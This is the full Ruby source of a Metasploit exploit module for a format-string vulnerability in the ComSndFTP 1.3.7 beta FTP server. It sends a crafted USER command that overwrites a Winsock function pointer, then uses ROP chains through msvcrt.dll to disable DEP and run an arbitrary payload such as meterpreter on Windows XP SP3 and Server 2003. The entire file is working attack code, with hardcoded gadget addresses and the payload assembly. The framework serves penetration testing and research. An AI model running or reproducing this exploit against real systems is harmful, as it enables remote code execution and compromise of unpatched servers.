Path: blob/master/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',15'Description' => %q{16This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially17crafted format string specifier as a username. The crafted username is sent to the server to18overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer19is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.20The SEH exit function is preferred so that the administrators are not left with an unhandled21exception message. When using the meterpreter payload, the process will never die, allowing22for continuous exploitation.23},24'Author' => [25'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc26'rick2600 <rick2600[at]corelan.be>', # msf module (target XP)27'mr_me <mr_me[at]corelan.be>', # msf module (target 23k)28'corelanc0d3r <peter.ve[at]corelan.be>' # msf module29],30'Arch' => [ ARCH_X86 ],31'License' => MSF_LICENSE,32'References' => [33# When a DoS is NOT a DoS34[ 'OSVDB', '82798'],35[ 'EDB', '19024']36],37'DefaultOptions' => {38'EXITFUNC' => 'seh'39},40'Platform' => ['win'],41'Privileged' => false,42'Payload' => {43'Space' => 1000,44'BadChars' => "\x00\x0a\x0d",45'StackAdjustment' => -3500,46'DisableNops' => true47},48'Targets' => [49[50'Windows XP SP3 - English',51{52'Functionpointer' => 0x71AC4050, # winsock pointer53'Functionaddress' => 0x71AB2636, # the repair address54'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn55'Pad' => 56856}57],58[59'Windows Server 2003 - English',60{61'Functionpointer' => 0x71C14044, # winsock pointer62'Functionaddress' => 0x71C02661, # the repair address63'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn64'Pad' => 56865}66]67],68'DisclosureDate' => '2012-06-08',69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79Opt::RPORT(21),80]81)82end8384def check85connect86banner = sock.get_once || ""87disconnect8889validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"90validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"91validate << "\xf1\xc6\xf7\x21\x0d\x0a"9293if banner.to_s == validate94return Exploit::CheckCode::Vulnerable95end9697return Exploit::CheckCode::Safe98end99100def junk(n = 4)101return rand_text_alpha(n).unpack("V").first102end103104def exploit105rop = ''106if target.name =~ /Server 2003/107# C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959108rop = [1090x77be3adb, # pop eax ; retn1100x77ba1114, # <- *&VirtualProtect()1110x77bbf244, # mov eax,[eax] ; pop ebp ; retn112junk,1130x77bb0c86, # xchg eax,esi ; retn1140x77be3adb, # pop eax ; retn1150xFFFFFBFF, # dwSize1160x77BAD64D, # neg eax ; pop ebp ; retn117junk,1180x77BBF102, # xchg eax,ebx ; add [eax],al ; retn1190x77bbfc02, # pop ecx ; retn1200x77bef001, # ptr that is w+1210x77bd8c04, # pop edi ; retn1220x77bd8c05, # retn1230x77be3adb, # pop eax ; retn1240xFFFFFFC0, # flNewProtect1250x77BAD64D, # neg eax ; pop ebp ; retn1260x77be2265, # ptr to 'push esp ; ret'1270x77BB8285, # xchg eax,edx ; retn1280x77be3adb, # pop eax ; retn1290x90909090, # nops1300x77be6591, # pushad ; add al,0ef ; retn131].pack("V*")132133elsif target.name =~ /XP SP3/134# C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512135rop = [1360x77C21D16, # pop eax ; retn1370x77C11120, # <- *&VirtualProtect()1380x77C2E493, # mov eax,[eax] ; pop ebp ; retn139junk,1400x77C21891, # pop esi ; retn1410x77C5D010, # ptr that is w+1420x77C2DD6C, # xchg eax,esi ; add [eax],al; retn1430x77C21D16, # pop eax ; retn1440xFFFFFBFF, # dwSize1450x77C1BE18, # neg eax ; pop ebp ; retn146junk,1470x77C2362C, # pop ebx ; retn1480x77C5D010, # ptr that is w+1490x77C2E071, # xchg eax,ebx ; add [eax],al ; retn1500x77C1F519, # pop ecx ; retn1510x77C5D010, # ptr that is w+1520x77C23B47, # pop edi ; retn1530x77C23B48, # retn1540x77C21D16, # pop eax ; retn1550xFFFFFFC0, # flNewProtect1560x77C1BE18, # neg eax ; pop ebp ; retn1570x77C35459, # ptr to 'push esp ; ret'1580x77C58FBC, # xchg eax,edx ; retn1590x77C21D16, # pop eax ; retn1600x90909090, # nops1610x77C567F0, # pushad ; add al,0ef ; retn162].pack("V*")163end164165stage1 = %Q{166mov eax, #{target['Functionpointer']}167mov ecx, #{target['Functionaddress']}168mov [eax], ecx169}170171offset_wp = rand_text_alphanumeric(1)172pivot = target['Pivot']173offset = target['Pad'] + rop.length + stage1.length + payload.encoded.length174175attackstring = rand_text_alphanumeric(7)176attackstring << [target['Functionpointer']].pack('V')177attackstring << "%#{pivot}x" # special pointer to our pivot178attackstring << "%p" * 208 + "#{offset_wp}%n" # format specifiers to read and write the function pointer179attackstring << rand_text_alphanumeric(target['Pad'])180attackstring << rop181attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string182attackstring << payload.encoded183attackstring << rand_text_alphanumeric(2000 - offset)184attackstring << "\r\n"185186sploit = "USER #{attackstring}\r\n"187188print_status("Triggering overflow...")189connect190sock.get_once(1024)191sock.put(sploit)192select(nil, nil, nil, 2)193handler194disconnect195end196end197198199